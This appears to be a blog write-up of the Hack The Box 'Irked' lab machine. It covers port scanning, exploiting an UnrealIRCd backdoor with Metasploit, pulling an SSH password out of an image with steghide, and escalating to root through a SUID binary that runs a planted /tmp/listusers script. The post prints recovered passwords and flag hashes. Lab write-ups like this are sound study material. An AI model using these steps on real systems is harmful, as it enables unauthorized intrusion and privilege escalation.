| my rAnd0m m1ndfl0w |
| #whoami $bl0g /script.s |
Hackthebox - Machines - Irked Writeup ------------------------------------- Started this one with nmap for 10.10.10.117 and found open TCP-ports: 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind Decided to go for a deeper scan for more ports, so: nmap -p1-65535 -T4 -A -v 10.10.10.117 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.10 ((Debian)) 111/tcp open rpcbind 6697/tcp open ircs-u? |_irc-info: Unable to open connection 8067/tcp open infi-async? |_irc-info: Unable to open connection 38446/tcp open rpcbind 65534/tcp open unknown So this seems to be running ircd. As the name of the challenge even pointed towards IRC I checked what Metasploit had to offer. Only one potential vuln listed: unix/irc/unreal_ircd_3281_backdoor. Ran the above mentioned, with: RHOST 10.10.10.117 RPORT 6697 (8067 goes as well) LHOST [MY IP] LPORT 4444 And we were in! Gaining us the ircd's shell access. Next I went through the files, ports and services. Found two interesting files in /home/djmardov/Documents/: .backup user.txt Had read permissions to .backup, which contained: cat .backup Super elite steg backup pw UPupDOWNdownLRlrBAbaSSss As the content listed above gave a suttle hint: steganography is included. The only picture I'd come across so far was on the same host's WWW. So decided to download the mentioned jpg: wget 10.10.10.117/irked.jpg Then tried steghide: steghide --extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss -xf stegextract Result: Kab6h+m+bbp2J:HG And that's how we got a hold of djmardov's shell pass. Then checked the user.txt with djmardov's creds, which gave the user own hash: cat /home/djmardov/Documents/user.txt 4a66a78b12dc0e661a59d3f5c0267a8e PART 2 Logged in with djmardov's credentials through SSH. Browsed through to find first interesting thing at root level. A folder called root with only root access. Might contain something interesting... Checked binaries run as root: find / -per -u=s -type f 2>/dev/null /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper /usr/sbin/exim4 /usr/sbin/pppd /usr/bin/chsh /usr/bin/procmail /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/at /usr/bin/pkexec /usr/bin/X /usr/bin/passwd /usr/bin/chfn /usr/bin/viewuser /sbin/mount.nfs /bin/su /bin/mount /bin/fusermount /bin/ntfs-3g /bin/umount The interesting one was /usr/bin/viewuser, that I couldn't remember hearing of. ls -al /usr/bin | grep viewus -rwsr-xr-x 1 root root 7328 May 16 2018 viewuser Ran the binary: /usr/bin/viewuser This application is being devleoped to set and test user permissions It is still being actively developed (unknown) :0 2019-01-15 20:14 (:0) djmardov pts/1 2019-01-15 20:15 (10.10.14.47) djmardov pts/4 2019-01-15 20:18 (10.10.15.202) djmardov pts/5 2019-01-15 20:20 (10.10.13.126) sh: 1: /tmp/listusers: not found The last line was interesting. As it seems to poll for /tmp/listusers and running with root privileges, I created the missing file and added ls /root/ as the content and also +rwx, which gave the content of the /root/ folder: user.txt pass.txt Modified the listusers file to cat those two files, and eventually got the root pw. Modified listusers to: ls /root/ cat /root/pass.txt cat /root/root.txt Then ran the binary again: /usr/bin/viewuser This application is being devleoped to set and test user permissions It is still being actively developed (unknown) :0 2019-01-15 20:14 (:0) djmardov pts/1 2019-01-15 20:15 (10.10.14.47) djmardov pts/4 2019-01-15 20:18 (10.10.15.202) djmardov pts/7 2019-01-15 20:51 (10.10.13.126) pass.txt root.txt Kab6h+m+bbp2J:HG 8d8e9e8be64654b6dccc3bff4522daf3 And there's finally the hash for owning the root! |